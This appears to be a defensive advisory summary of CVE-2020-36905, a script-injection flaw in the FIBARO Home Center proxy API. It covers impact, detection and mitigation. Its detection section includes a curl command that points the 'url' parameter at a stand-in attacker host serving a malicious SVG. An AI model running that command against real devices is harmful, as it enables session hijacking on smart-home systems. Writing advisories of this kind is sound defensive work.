Executive Summary

CVE-2020-36905 is a remote file inclusion vulnerability in the FIBARO System Home Center's undocumented proxy API. Attackers can exploit the 'url' GET parameter to inject arbitrary client-side scripts such as JavaScript or VBScript. This injection allows attackers to hijack user sessions or manipulate the webpage content by including malicious scripts. The vulnerability affects multiple versions of the FIBARO Home Center, including Home Center 3, 2, and Lite, and was demonstrated by injecting malicious SVG files that execute JavaScript on load. [1, 2, 3, 4]

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Impact Analysis

This vulnerability can allow attackers to hijack your user sessions, potentially gaining unauthorized access to your smart home system. They can also manipulate the appearance and content of the web interface by injecting malicious scripts, which could lead to further attacks or disruption of your smart home automation and security functions. Since the FIBARO System Home Center manages device communication and automation, exploitation could compromise the security and operation of your smart home environment. [1, 2, 4]

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Detection Guidance

This vulnerability can be detected by monitoring for requests to the undocumented proxy API endpoint that includes the 'url' GET parameter with suspicious or crafted URLs. For example, look for HTTP requests to paths like /api/proxy?url= containing unexpected or malicious payloads such as SVG files with embedded JavaScript. A simple detection command using curl could be: curl -v 'http://<target-ip>/api/proxy?url=http://attacker.com/malicious.svg' to test if the endpoint is vulnerable. Additionally, network monitoring tools or web application firewalls can be configured to alert on such suspicious GET requests containing the 'url' parameter with external URLs. Checking web server logs for unusual requests to /api/proxy with URL parameters referencing external or untrusted domains can also help detect exploitation attempts. [1, 3, 4]

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Mitigation Strategies

Immediate mitigation steps include restricting or disabling access to the undocumented proxy API endpoint that accepts the 'url' GET parameter to prevent exploitation. Applying any available patches or updates from the vendor that address this vulnerability is recommended. If patches are not available, implement network-level controls such as firewall rules to block external access to the vulnerable API endpoint. Additionally, configure web application firewalls to detect and block requests attempting to exploit the 'url' parameter with malicious payloads. Monitoring and alerting on suspicious activity targeting this endpoint can help in early detection and response. Finally, educating users to avoid interacting with suspicious links that might trigger the vulnerability can reduce risk. [2, 4]

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